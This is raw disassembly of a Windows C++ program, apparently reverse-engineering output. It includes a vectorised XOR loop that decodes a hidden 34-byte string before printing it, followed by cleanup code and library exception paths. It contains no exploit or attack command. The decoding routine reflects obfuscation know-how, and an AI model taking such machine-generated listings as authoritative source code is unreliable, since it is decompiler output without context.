call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x5b0]
call fcn.140240fd0
jmp 0x140222886
movups xmm0, xmmword [0x140277cc0]
movups xmmword [rsp + 0x5b0], xmm0
movups xmm1, xmmword [0x140277cd0]
movups xmmword [rsp + 0x5c0], xmm1
movzx eax, word [0x140277ce0]
mov word [rsp + 0x5d0], ax
mov r9d, esi
cmp r15d, 2
jl 0x1402227f9
movdqa xmmword [rsp + 0x50], xmm14
lea rcx, [rsp + 0x5b4]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm10
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x140222680
cmp r9d, 0x22
jge 0x140222861
movsxd rax, r9d
lea r10, [rsp + 0x5b0]
add r10, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x6b
sub r8b, dl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x22
jl 0x140222810
lea rdx, [rsp + 0x5b0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1402428f0
lea rdx, [0x140242ad0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x6e8]
call fcn.140240fd0
nop
lea rcx, [rsp + 0x570]
call fcn.140240fd0
nop
lea rax, vtable.std::wstring_convert_class_std::codecvt_utf8_wchar_t__1114111__0___wchar_t__class_std::allocator_wchar_t___class_std::allocator_char__.0
mov qword [rsp + 0x770], rax
lea rcx, [rsp + 0x7b0]
call fcn.140240ed0
lea rcx, [rsp + 0x790]
call fcn.140240fd0
mov rcx, qword [rsp + 0x788]
test rcx, rcx
je 0x1402228f3
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1402228f3
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, r13d
mov rcx, rax
call r8
nop
jmp 0x1402229ca
mov edi, dword [rsp + 0x44]
lea rcx, [rsp + 0x6b8]
call fcn.140240fd0
nop
lea rcx, [rsp + 0x698]
call fcn.140240fd0
nop
lea rcx, [rsp + 0x678]
call fcn.140240fd0
nop
lea rcx, [rsp + 0x5f8]
call fcn.140240fd0
nop
lea rcx, [rsp + 0x618]
call fcn.140240fd0
nop
lea rcx, [rsp + 0x658]
call fcn.140240fd0
nop
lea rcx, [rsp + 0x5d8]
call fcn.140240fd0
mov r15, qword [rsp + 0x590]
mov rbx, qword [rsp + 0x5a8]
movzx eax, byte [r15]
cmp eax, 9
ja case.0x140222a53.0
mov ecx, dword [r12 + rax*4 + 0x222fa4]
add rcx, r12
jmp rcx
mov rcx, qword [rsp + 0x598]
mov rax, qword [rcx + 0x10]
cmp byte [rax + 0x19], 0
je 0x140222a91
mov rax, qword [rcx + 8]
cmp byte [rax + 0x19], 0
jne 0x140222aaf
cmp rcx, qword [rax + 0x10]
jne 0x140222aaf
mov rcx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x140222a71
mov qword [rsp + 0x598], rax
jmp 0x14021eda0
mov rdx, qword [rax]
cmp byte [rdx + 0x19], 0
jne 0x140222aaf
nop word [rax + rax]
mov rax, rdx
mov rcx, qword [rdx]
mov rdx, rcx
cmp byte [rcx + 0x19], 0
je 0x140222aa0
mov qword [rsp + 0x598], rax
jmp 0x14021eda0
add qword [rsp + 0x5a0], 0x10
jmp 0x14021eda0
inc rbx
mov qword [rsp + 0x5a8], rbx
jmp 0x14021eda0
movzx edx, byte [rsp + 0x6d8]
lea rcx, [rsp + 0x6e0]
call fcn.140241550
nop
lea rcx, [rsp + 0x708]
call fcn.140240fd0
nop
lea rcx, [rsp + 0x8c0]
call fcn.140240fd0
lea rcx, [rsp + 0x8a0]
call fcn.140240fd0
lea rcx, [rsp + 0x880]
call fcn.140240fd0
lea rcx, [rsp + 0x860]
call fcn.140240fd0
lea rcx, [rsp + 0x840]
call fcn.140240fd0
mov r8, qword [rsp + 0x830]
mov r8, qword [r8 + 8]
lea rdx, [rsp + 0x830]
lea rcx, [rsp + 0x830]
call fcn.140243e60
mov edx, 0x60
mov rcx, qword [rsp + 0x830]
call fcn.140266300
mov r8, qword [rsp + 0x820]
mov r8, qword [r8 + 8]
lea rdx, [rsp + 0x820]
lea rcx, [rsp + 0x820]
call fcn.140243e60
mov edx, 0x60
mov rcx, qword [rsp + 0x820]
call fcn.140266300
mov r8, qword [rsp + 0x810]
mov r8, qword [r8 + 8]
lea rdx, [rsp + 0x810]
lea rcx, [rsp + 0x810]
call fcn.140243e60
mov edx, 0x60
mov rcx, qword [rsp + 0x810]
call fcn.140266300
nop
lea rcx, [rsp + 0x7f0]
call fcn.140240fd0
nop
lea rcx, [rsp + 0x748]
call fcn.140240fd0
nop
lea rcx, [rsp + 0x638]
call fcn.140240fd0
nop
jmp 0x14021c538
call fcn.1401f1090
nop
call fcn.1401f1090
nop
call fcn.1401f1090
call fcn.1401f0ff0
nop
lea rdx, str.cannot_compare_iterators_of_different_containers
lea rcx, [rsp + 0x120]
call fcn.140207160
nop
lea r8, [rsp + 0x120]
mov edx, 0xd4
lea rcx, [rsp + 0x4e0]
call fcn.140243970
lea rdx, [0x140285558]
lea rcx, [rsp + 0x4e0]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rdx, str.cannot_get_value
lea rcx, [rsp + 0x120]
call fcn.140207160
nop
lea r8, [rsp + 0x120]
mov edx, 0xd6
lea rcx, [rsp + 0x4a8]
call fcn.140243970
lea rdx, [0x140285558]
lea rcx, [rsp + 0x4a8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140246ea0
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rsp + 0x120]
call fcn.14025ac10
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x470]
call fcn.14024c8f0
lea rdx, [0x1402854d0]
lea rcx, [rsp + 0x470]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140246ea0
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rsp + 0x120]
call fcn.14025ac10
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x438]
call fcn.14024c8f0
lea rdx, [0x1402854d0]
lea rcx, [rsp + 0x438]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140246ea0
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rsp + 0x120]
call fcn.14025ac10
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x518]
call fcn.14024c8f0
lea rdx, [0x1402854d0]
lea rcx, [rsp + 0x518]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140246ea0
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rsp + 0x120]
call fcn.14025ac10
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x400]
call fcn.14024c8f0
lea rdx, [0x1402854d0]
lea rcx, [rsp + 0x400]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140246ea0
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rsp + 0x120]
call fcn.14025ac10
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x3c8]
call fcn.14024c8f0
lea rdx, [0x1402854d0]
lea rcx, [rsp + 0x3c8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140246ea0
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rsp + 0x120]
call fcn.14025ac10
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x390]
call fcn.14024c8f0
lea rdx, [0x1402854d0]
lea rcx, [rsp + 0x390]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
mov rcx, rax
call fcn.140246ea0
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x50]
lea rcx, [rsp + 0x120]
call fcn.14025ac10
nop
mov r8, rax
mov edx, 0x12e
lea rcx, [rsp + 0x358]
call fcn.14024c8f0
lea rdx, [0x1402854d0]
lea rcx, [rsp + 0x358]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.1401f1090
nop
lea rdx, str.cannot_get_value
lea rcx, [rsp + 0x120]
call fcn.140207160
nop
lea r8, [rsp + 0x120]
mov edx, 0xd6
lea rcx, [rsp + 0x320]
call fcn.140243970
lea rdx, [0x140285558]
lea rcx, [rsp + 0x320]
call sub.VCRUNTIME140.dll__CxxThrowException
int3